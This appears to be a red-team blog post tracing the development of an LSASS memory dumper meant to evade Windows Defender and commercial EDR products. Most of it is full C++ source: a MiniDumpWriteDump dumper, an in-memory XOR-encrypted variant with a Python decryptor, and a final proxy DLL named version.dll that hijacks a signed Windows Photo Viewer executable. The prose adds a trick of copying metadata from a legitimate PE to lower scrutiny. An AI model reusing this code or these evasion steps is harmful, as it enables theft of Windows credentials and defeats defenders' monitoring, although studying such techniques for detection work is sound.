Let me first start by saying I will not be revealing in this post any novel techniques or new research that hasn’t been seen before. I will, however, reveal my own methodology when it comes to finding gaps in EDRs visibility in order to bypass detection. I will do so by showing the process of finding a simple way to dump lsass using basic and well known techniques while still being undetected even by the most sophisticated EDRs on the market.

Small Beginnings

Our story begins with an internal 3-day workshop I taught in my team: “Intro to Malware Development”. I explained what is Win32 API and its various uses in malware development, and then we created a simple Lsass Dumper together in C++ using the plain old MiniDumpWriteDump API. It was not meant to bypass any AV/EDR as it was just an exercise to showcase Win32 API in action.

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <DbgHelp.h>
#pragma comment(lib, "Dbghelp.lib")

// Enable SeDebugPrivilige if not enabled already
BOOL SetDebugPrivilege() {
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		printf("[-] Could not get current process token with TOKEN_ADJUST_PRIVILEGES\n");
		return FALSE;
	}

	TokenPrivileges.PrivilegeCount = 1;
	TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;

	char sPriv[] = { 'S','e','D','e','b','u','g','P','r','i','v','i','l','e','g','e',0 };
	if (!LookupPrivilegeValueA(NULL, (LPCSTR)sPriv, &TokenPrivileges.Privileges[0].Luid)) {
		CloseHandle(hToken);
		printf("[-] No SeDebugPrivs. Make sure you are an admin\n");
		return FALSE;
	}

	if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
		CloseHandle(hToken);
		printf("[-] Could not adjust to SeDebugPrivs\n");
		return FALSE;
	}

	CloseHandle(hToken);
	return TRUE;
}

// Find PID of a process by name
int FindPID(const char* procname)
{
	int pid = 0;
	PROCESSENTRY32 proc = {};
	proc.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	bool bProc = Process32First(snapshot, &proc);

	while (bProc)
	{
		if (strcmp(procname, proc.szExeFile) == 0)
		{
			pid = proc.th32ProcessID;
			break;
		}
		bProc = Process32Next(snapshot, &proc);
	}
	return pid;
}

int main(int argc, char** argv) 
{
	// Find LSASS PID
	printf("[+] Searching for LSASS PID\n");
	int pid = FindPID("lsass.exe");
	if (pid == 0) {
		printf("[-] Could not find LSASS PID\n");
		return 0;
	}
	printf("[+] LSASS PID: %i\n", pid);
	
	// Make sure we have SeDebugPrivilege enabled
	if (!SetDebugPrivilege())
		return 0;

	// Open handle to LSASS
	HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);
	if (hProc == NULL) {
		printf("[-] Could not open handle to LSASS process\n");
		return 0;
	}

	// Create file to hold the dump data
	HANDLE hFile = CreateFile("LSASS.DMP", GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	
	// Do full memory dump of lsass and save it to the file we created
	BOOL success = MiniDumpWriteDump(hProc, pid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
	if (success)
		printf("[+] Successfully dumped LSASS!\n");
	else
		printf("[-] Could not dump LSASS\n[-] Error Code: %i\n", GetLastError());
}

To my surprise, Windows Defender (patience my friend, we’ll get to a more advanced EDR in a minute) did not alert on the executable when I copied it to a non-excluded folder. Furthermore, when executing it I got an alert on the dump file itself but not the executable – it was left untouched on disk and Windows Defender just deleted the dump file (not the lsass dumper executable).

Thinking critically when doing malware development is paramount and in this case the solution seems very simple and obvious – Windows Defender only recognizes the LSASS.DMP dump file as a dump of lsass and alerts on it, even though it’s not really sure what happened or else it would also delete the LsassDumper.exe that performed the dump or at least alert on the lsass dump process being performed.

So, what if we don’t write the dump file to disk altogether and instead send it over the network or, write it to disk only after encrypting it in memory? With MiniDumpWriteDump API function you can specify a pointer to a MINIDUMP_CALLBACK_INFORMATION structure which points to callback function that will handle the data generated by the dump operation instead of just specifying a handle to a file on disk which the dump data will be written to. This will let us hold the dump data in memory instead of writing it directly to disk. We can use this to encrypt the dump data before writing it to the disk ourselves using a simple xor routine.

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <DbgHelp.h>
#pragma comment(lib, "Dbghelp.lib")

// Global variables the will hold the dump data and its size
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 200); // Allocate 200MB buffer on the heap
DWORD dumpSize = 0;

// Callback routine that we be called by the MiniDumpWriteDump function
BOOL CALLBACK DumpCallbackRoutine(PVOID CallbackParam, const PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
	LPVOID destination = 0;
	LPVOID source = 0;
	DWORD bufferSize = 0;
	switch (CallbackInput->CallbackType) {
	case IoStartCallback:
		CallbackOutput->Status = S_FALSE;
		printf("[+] Starting dump to memory buffer\n");
		break;
	case IoWriteAllCallback:
		// Buffer holding the current chunk of dump data
		source = CallbackInput->Io.Buffer;
		
		// Calculate the memory address we need to copy the chunk of dump data to based on the current dump data offset
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
		
		// Size of the current chunk of dump data
		bufferSize = CallbackInput->Io.BufferBytes;

		// Copy the chunk data to the appropriate memory address of our allocated buffer
		RtlCopyMemory(destination, source, bufferSize);
		dumpSize += bufferSize; // Incremeant the total size of the dump with the current chunk size
		
		//printf("[+] Copied %i bytes to memory buffer\n", bufferSize);
		
		CallbackOutput->Status = S_OK;
		break;
	case IoFinishCallback:
		CallbackOutput->Status = S_OK;
		printf("[+] Copied %i bytes to memory buffer\n", dumpSize);
		break;
	}
	return TRUE;
}

// Simple xor routine on memory buffer
void XOR(char* data, int data_len, char* key, int key_len)
{
	int j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1)
			j = 0;
		data[i] = data[i] ^ key[j];
		j++;
	}
}

// Enable SeDebugPrivilige if not enabled already
BOOL SetDebugPrivilege() {
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		printf("[-] Could not get current process token with TOKEN_ADJUST_PRIVILEGES\n");
		return FALSE;
	}

	TokenPrivileges.PrivilegeCount = 1;
	TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;

	char sPriv[] = { 'S','e','D','e','b','u','g','P','r','i','v','i','l','e','g','e',0 };
	if (!LookupPrivilegeValueA(NULL, (LPCSTR)sPriv, &TokenPrivileges.Privileges[0].Luid)) {
		CloseHandle(hToken);
		printf("[-] No SeDebugPrivs. Make sure you are an admin\n");
		return FALSE;
	}

	if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
		CloseHandle(hToken);
		printf("[-] Could not adjust to SeDebugPrivs\n");
		return FALSE;
	}

	CloseHandle(hToken);
	return TRUE;
}

// Find PID of a process by name
int FindPID(const char* procname)
{
	int pid = 0;
	PROCESSENTRY32 proc = {};
	proc.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	bool bProc = Process32First(snapshot, &proc);

	while (bProc)
	{
		if (strcmp(procname, proc.szExeFile) == 0)
		{
			pid = proc.th32ProcessID;
			break;
		}
		bProc = Process32Next(snapshot, &proc);
	}
	return pid;
}

int main(int argc, char** argv) 
{
	// Find LSASS PID
	printf("[+] Searching for LSASS PID\n");
	int pid = FindPID("lsass.exe");
	if (pid == 0) {
		printf("[-] Could not find LSASS PID\n");
		return 0;
	}
	printf("[+] LSASS PID: %i\n", pid);
	
	// Make sure we have SeDebugPrivilege enabled
	if (!SetDebugPrivilege())
		return 0;

	// Open handle to LSASS
	HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);
	if (hProc == NULL) {
		printf("[-] Could not open handle to LSASS process\n");
		return 0;
	}

	// Create a "MINIDUMP_CALLBACK_INFORMATION" structure that points to our DumpCallbackRoutine as a CallbackRoutine
	MINIDUMP_CALLBACK_INFORMATION CallbackInfo = { 0 };
	CallbackInfo.CallbackRoutine = DumpCallbackRoutine;

	// Do full memory dump of lsass and use our CallbackRoutine to handle the dump data instead of writing it directly to disk
	BOOL success = MiniDumpWriteDump(hProc, pid, NULL, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
	if (success) {
		printf("[+] Successfully dumped LSASS to memory!\n");
	} else {
		printf("[-] Could not dump LSASS to memory\n[-] Error Code: %i\n", GetLastError());
		return 0;
	}

	// Xor encrypt our dump data in memory using the specified key
	char key[] = "jisjidpa123";
	printf("[+] Xor encrypting the memory buffer containing the dump data\n[+] Xor key: %s\n", key);
	XOR((char*)dumpBuffer, dumpSize, key, sizeof(key));

	// Create file to hold the encrypted dump data
	HANDLE hFile = CreateFile("LSASS_ENCRYPTED.DMP", GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	
	// Write the encrypted dump data to our file
	DWORD bytesWritten = 0;
	WriteFile(hFile, dumpBuffer, dumpSize, &bytesWritten, NULL);
	printf("[+] Enrypted dump data written to \"LSASS_ENCRYPTED.DMP\" file\n");
}

Running the new version against Windows Defender raises no alerts.

Of course the dump file is XOR encrypted, but we can take it offline, decrypt it and then parse it with mimikatz or pypykatz using this decrypt.py script.

# Red Team Operator course code template
# payload encryption with XOR
#
# author: reenz0h (twitter: @sektor7net)

import sys
from itertools import cycle

key = bytearray("jisjidpa123","utf8")
filename = "LSASS_DECRYPTED.DMP"

try:
    data = bytearray(open(sys.argv[1], "rb").read())
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

if len(sys.argv) > 2 and sys.argv[2] == "1":
    print("len: {}".format(len(data)))
    print('{ 0x' + ', 0x'.join(hex(x)[2:] for x in data) + ' };')
    sys.exit()
xord_byte_array = bytearray(len(data))
if len(sys.argv) > 2 and sys.argv[2] != "1":
    filename = sys.argv[2]

f = open(filename, "wb")

l = len(key)
for i in range(len(data)):
    current = data[i]
    current_key = key[i % len(key)]
    xord_byte_array[i] = current ^ current_key


f.write(xord_byte_array)
f.close()

print("XORed output saved to \"{}\"".format(filename))
print("Xor Key: {}".format(key.decode()))
sys.exit()

When testing this version against a more advanced EDR we get an alert and the lsass dumper executable gets deleted as soon as it touches the disk, obviously the EDR does not like our file.

Great Things

One little trick I find extremely useful when my malware has to touch disk is to add some details (properties and version info) to it. This can add some credibility to our malware and most of the time EDRs will lower their guard and perform fewer scans on it.

There are multiple ways to go about doing it: You can use tools like MetaTwin to rip the details of a legitimate executable and add it to your malware. Personally, I like doing it manually by copying the details of a legitimate executable with ResourceHacker and adding it to my VS Project. This way it will be done during the build of the project, and I won’t have to worry about adding those details every time I change something in the code and recompile it.

Here’s how to do it:

We load a legitimate PE file to ResourceHacker, in this case it’s Greenshot.exe, and go over to the Version Info tab.

Next, we copy the version info block containing Greenshot.exe details to a text file with the name VersionInfo1.rc and save it in our VS project folder. We then simply include the VersionInfo1.rc file in the project build by right-clicking on it and select “Include In Project”.

Now, every time we build our project those properties and version details will be embedded in our final executable.

At this stage, the current version of the executable manages to bypass the EDR which is configured with the “Aggressive” Detection and Prevention settings and successfully dump the lsass process to an encrypted file on disk.

Notice how we didn’t change any line of code in our lsass dumper and still we managed to bypass detection only by including some details and making our file look a bit more legit.

Extra Great Things

It was mentioned to me that on the “Extra Aggressive” settings this will not fly and when I initially tested that I indeed saw that the EDR raised an alert although the lsass process was successfully dumped and no deletion of neither the executable nor the encrypted dump file occurred.

Still, I’m up for a challenge, and I wanted to have this lsass dumper be fully undetected by even the most aggressive settings the EDR has to offer, and so I went over to the EDR Console and looked at the description of the alert. To my surprise the EDR states that it successfully killed the process, without deleting the executable on disk which is weird. Even weirder is the fact the process was apparently killed by the EDR but the dump file was created successfully. I assumed that this was some sort of race condition where the EDR was not fast enough to kill the process before it finished creating the dump.

One thing to note is that the description of the alert was basically “suspicious process opened a handle to lsass” – nothing about the dump operation itself. So the way to go is to somehow obtain a handle to lsass without the EDR alerting on it. Techniques like Handle Duplication and Seclogon handle leak comes to mind, but I wanted to try something simpler first.

The alert description specifically said “Unusual process” which can mean a process that is not known to usually open a handle to lsass or simply an unknown process. So what if we used another, more known and credible, process that will do the heavy lifting for us? DLL Search Order Hijacking FTW

I will not cover what’s “DLL Search Order Hijacking” / DLL Proxying in this post as I already blogged about it here and there are a lot of good blog posts about the subject already but the gist of it is that we can convert our lsass dumper executable into a DLL and plant it in a folder of a legitimate and credible executable, change our DLL name to a DLL name that is prone to this attack, in this case version.dll, while exporting and proxying the same functions of the original DLL (which normally exists in System32 folder). In this case we are targeting a Microsoft-signed executable that is available in every version of Windows (as far as I’m aware) “C:\Program Files\Windows Photo Viewer\ImagingDevices.exe” and our lsass dumper DLL name will be version.dll. We need to add to our code the DLL entry point which is DLLMain and specify that our lsass dump function will fire as soon as a process loads our DLL (DLL_PROCESS_ATTACH). We also need to export the original version.dll exported functions and proxy them back to the original DLL in System32 folder.

Below is the final code for our lsass dumper executable turned DLL:

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <DbgHelp.h>
#pragma comment(lib, "Dbghelp.lib")

#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")


// Global variables the will hold the dump data and its size
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 200); // Allocate 200MB buffer on the heap
DWORD dumpSize = 0;

// Callback routine that we be called by the MiniDumpWriteDump function
BOOL CALLBACK DumpCallbackRoutine(PVOID CallbackParam, const PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
	LPVOID destination = 0;
	LPVOID source = 0;
	DWORD bufferSize = 0;
	switch (CallbackInput->CallbackType) {
	case IoStartCallback:
		CallbackOutput->Status = S_FALSE;
		printf("[+] Starting dump to memory buffer\n");
		break;
	case IoWriteAllCallback:
		// Buffer holding the current chunk of dump data
		source = CallbackInput->Io.Buffer;
		
		// Calculate the memory address we need to copy the chunk of dump data to based on the current dump data offset
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
		
		// Size of the current chunk of dump data
		bufferSize = CallbackInput->Io.BufferBytes;

		// Copy the chunk data to the appropriate memory address of our allocated buffer
		RtlCopyMemory(destination, source, bufferSize);
		dumpSize += bufferSize; // Incremeant the total size of the dump with the current chunk size
		
		//printf("[+] Copied %i bytes to memory buffer\n", bufferSize);
		
		CallbackOutput->Status = S_OK;
		break;
	case IoFinishCallback:
		CallbackOutput->Status = S_OK;
		printf("[+] Copied %i bytes to memory buffer\n", dumpSize);
		break;
	}
	return TRUE;
}

// Simple xor routine on memory buffer
void XOR(char* data, int data_len, char* key, int key_len)
{
	int j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1)
			j = 0;
		data[i] = data[i] ^ key[j];
		j++;
	}
}

// Enable SeDebugPrivilige if not enabled already
BOOL SetDebugPrivilege() {
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		printf("[-] Could not get current process token with TOKEN_ADJUST_PRIVILEGES\n");
		return FALSE;
	}

	TokenPrivileges.PrivilegeCount = 1;
	TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;

	char sPriv[] = { 'S','e','D','e','b','u','g','P','r','i','v','i','l','e','g','e',0 };
	if (!LookupPrivilegeValueA(NULL, (LPCSTR)sPriv, &TokenPrivileges.Privileges[0].Luid)) {
		CloseHandle(hToken);
		printf("[-] No SeDebugPrivs. Make sure you are an admin\n");
		return FALSE;
	}

	if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
		CloseHandle(hToken);
		printf("[-] Could not adjust to SeDebugPrivs\n");
		return FALSE;
	}

	CloseHandle(hToken);
	return TRUE;
}

// Find PID of a process by name
int FindPID(const char* procname)
{
	int pid = 0;
	PROCESSENTRY32 proc = {};
	proc.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	bool bProc = Process32First(snapshot, &proc);

	while (bProc)
	{
		if (strcmp(procname, proc.szExeFile) == 0)
		{
			pid = proc.th32ProcessID;
			break;
		}
		bProc = Process32Next(snapshot, &proc);
	}
	return pid;
}

int main(int argc, char** argv) 
{
	// Find LSASS PID
	printf("[+] Searching for LSASS PID\n");
	int pid = FindPID("lsass.exe");
	if (pid == 0) {
		printf("[-] Could not find LSASS PID\n");
		return 0;
	}
	printf("[+] LSASS PID: %i\n", pid);
	
	// Make sure we have SeDebugPrivilege enabled
	if (!SetDebugPrivilege())
		return 0;

	// Open handle to LSASS
	HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);
	if (hProc == NULL) {
		printf("[-] Could not open handle to LSASS process\n");
		return 0;
	}

	// Create a "MINIDUMP_CALLBACK_INFORMATION" structure that points to our DumpCallbackRoutine as a CallbackRoutine
	MINIDUMP_CALLBACK_INFORMATION CallbackInfo = { 0 };
	CallbackInfo.CallbackRoutine = DumpCallbackRoutine;

	// Do full memory dump of lsass and use our CallbackRoutine to handle the dump data instead of writing it directly to disk
	BOOL success = MiniDumpWriteDump(hProc, pid, NULL, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
	if (success) {
		printf("[+] Successfully dumped LSASS to memory!\n");
	} else {
		printf("[-] Could not dump LSASS to memory\n[-] Error Code: %i\n", GetLastError());
		return 0;
	}

	// Xor encrypt our dump data in memory using the specified key
	char key[] = "jisjidpa123";
	printf("[+] Xor encrypting the memory buffer containing the dump data\n[+] Xor key: %s\n", key);
	XOR((char*)dumpBuffer, dumpSize, key, sizeof(key));

	// Create file to hold the encrypted dump data
	HANDLE hFile = CreateFile("LSASS_ENCRYPTED.DMP", GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	
	// Write the encrypted dump data to our file
	DWORD bytesWritten = 0;
	WriteFile(hFile, dumpBuffer, dumpSize, &bytesWritten, NULL);
	printf("[+] Enrypted dump data written to \"LSASS_ENCRYPTED.DMP\" file\n");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
		MessageBox(NULL, "Running LsassDumper.dll", "LsassDumper.dll", MB_OK);
		main(0, {});
	}
	return TRUE;
}

We should remember to change the configuration type of our VS project to “Dynamic Library (.dll)

And finally we are ready to compile the project.

To run this version (see what I did there?) of our lsass dumper all we need to do is copy the malicious DLL into the folder “C:\Program Files\Windows Photo Viewer", change its name to “version.dll” and lastly, run the “ImagingDevices.exe” as Administrator after which the encrypted dump file will be written to the same folder with hopefully no alerts.

Let’s test this shall we?

As you can see - no alerts whatsoever even on the most aggressive detection and prevention policy this EDR has to offer.

It’s not my intention to pick on this particular EDR, and I’ve also tested this against two other very advanced EDRs as well and the results were the same.

AntiScan.me seems to agree with the results as well.

Conclusion

In this blog post I didn’t share anything new but rather a combination of few different techniques and mainly my workflow and thought process when it comes to developing malware and evading detection (hopefully I did a decent job at that).

Of course, we can take this whole thing a few steps further and implement sophisticated techniques like unhooking Ntdll Kernel32 and Dbghelp or using Direct/Indirect Syscalls, sandbox evasion checks, obfuscating strings and API calls and other techniques related to lsass specifically like handle duplication, snapshot dump and the list goes on. I leave that all as an exercise for the reader as I just wanted to illustrate how one can evade detection even with no sophisticated malware techniques by simply look for gaps in the visibility, scanning and detections of an EDR.

Acknowledgments

  • Shout out to Sektor7 for the XOR decryption script and for the technique of adding details to a PE (taught in their Windows Evasions Course)
  • Big thanks to IRed.Team (spotheplanet) for the technique to dump lsass to a buffer in memory instead to a file on disk. Link for the blog post.
  • Big Shout Out to my friend an colleague Shlomi Nechama for the constant brainstorming.